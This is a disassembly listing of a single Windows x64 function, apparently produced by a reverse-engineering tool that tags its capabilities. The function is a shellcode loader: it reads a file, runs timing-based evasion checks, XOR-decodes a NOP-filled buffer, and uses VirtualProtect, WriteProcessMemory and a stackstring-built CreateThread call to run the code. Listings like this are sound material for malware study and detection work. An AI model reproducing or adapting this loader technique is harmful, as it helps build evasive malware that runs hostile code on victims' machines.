Function at 0x14000259c
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
cmp qword [rcx + 0x18], 0xf
jbe 0x1400025bc
mov rcx, qword [rcx]
mov r8d, 0x20
mov rdx, rcx
lea rcx, [rbp - 0x30]
call fcn.140004fac
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
test byte [rbp + rax - 0x20], 6
jne 0x140002a83
xor esi, esi
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x48], 1
mov rax, qword [rbp + rax + 0x18]
mov qword [rsp + 0x30], rax
test rax, rax
sete byte [rsp + 0x38]
mov byte [rsp + 0x39], sil
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.140006940
test al, al
je 0x140002677
movdqa xmm0, xmmword [0x140010fb0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], sil
jmp 0x1400026a1
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1400063fc
nop
lea rcx, [rbp - 0x20]
call fcn.140004f1c
test rax, rax
jne 0x1400026de
mov rax, qword [rbp - 0x30]
movsxd rdx, dword [rax + 4]
mov rax, qword [rbp + rdx + 0x18]
neg rax
sbb ecx, ecx
and ecx, 0xfffffffc
add ecx, 6
or ecx, dword [rbp + rdx - 0x20]
and ecx, 0x17
mov dword [rbp + rdx - 0x20], ecx
mov eax, dword [rbp + rdx - 0x1c]
and eax, ecx
jne 0x140002abf
lea rcx, [rbp + 0x118]
call fcn.140001ed4
lea rcx, [rbp + 0x110]
call fcn.140001ed4
movabs rcx, 0x7fffffff4d2fa1ff
mov rax, qword [rbp + 0x110]
cmp rax, rcx
jge 0x14000271d
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rbp + 0x110], rcx
jmp 0x14000272e
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x110], rax
lea rcx, [rbp + 0x110]
call fcn.140006610
lea rcx, [rbp + 0x110]
call fcn.140001ed4
mov rcx, qword [rbp + 0x110]
sub rcx, qword [rbp + 0x118]
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov edi, 0x7f149
sub edi, edx
lea ebx, [rdi + 0xb54]
call fcn.140001f94
mov r15d, 0x1000
cmp ebx, 0x7f148
je 0x1400027ae
inc ebx
mov eax, ebx
sub eax, edi
cmp eax, 0xc80
jle 0x14000277c
mov ebx, dword [rbp + 0x110]
cmp ebx, 0x7f147
jle 0x140002a3f
cmp ebx, 0x7f149
jae 0x140002a3f
mov edx, ebx
lea rcx, [rbp - 0x60]
call fcn.1400012d0
nop
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x60]
call fcn.14000222c
nop
lea rbx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rbx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x70]
mov qword [rbp + 0x120], rax
mov rax, rsi
lea rcx, str.909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
xor byte [rax + rcx], 0xfe
inc rax
cmp rax, 0xf01
jb 0x1400027f9
call fcn.140001f94
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.VirtualAlloc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400171f8], rax
lea r9, [rbp + 0x110]
mov edi, 8
lea r8d, [rdi + 0x38]
mov edx, edi
lea rcx, [0x1400171f8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [0x140002594]
mov qword [0x1400171f8], rax
lea r9, [rbp + 0x110]
mov r8d, dword [rbp + 0x110]
mov edx, edi
lea rcx, [0x1400171f8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rbp + 0x118], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x120]
xor r8d, r8d
lea rdx, [rbp + 0x118]
call fcn.140006c70
mov rcx, qword [0x1400171f8]
test rcx, rcx
je 0x1400028f3
lea r9, [rbp + 0x110]
lea r8d, [rdi + 0x38]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x1400171f8], rsi
lea r9, [rbp + 0x110]
mov r8d, dword [rbp + 0x110]
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.140001f94
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov r9, qword [rbp + 0x120]
mov r8, rbx
mov rdx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x30], 0x61657243
mov dword [rsp + 0x34], 0x68546574
mov dword [rsp + 0x38], 0x64616572
mov byte [rsp + 0x3c], sil
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call fcn.140001f94
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
mov r8, qword [rbp + 0x118]
xor edx, edx
xor ecx, ecx
call rbx
mov rdi, rax
movdqa xmm0, xmmword [str.WaitForSingleObj_]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call fcn.140001f94
or edx, 0xffffffff
mov rcx, rdi
call rbx
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400029f4
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x1400029ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b0f
call fcn.140007e30
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], sil
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140002a3f
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x140002a39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b15
call fcn.140007e30
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002a72
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r15
jb 0x140002a6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ab9
call fcn.140007e30
movdqa xmm0, xmmword [0x140010fb0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], sil
lea rcx, [rbp + 0x80]
call fcn.1400049dc
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.14000754c
nop
add rsp, 0x1e0
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14000c240
nop
test al, 4
je 0x140002acc
lea rbx, str.ios_base::badbit_set
jmp 0x140002ae0
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400014f4
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.140001d38
lea rdx, [0x140013c08]
lea rcx, [rbp - 0x60]
call sub.msvcrt.dll__CxxThrowException
nop
call fcn.14000c240
nop
call fcn.14000c240
int3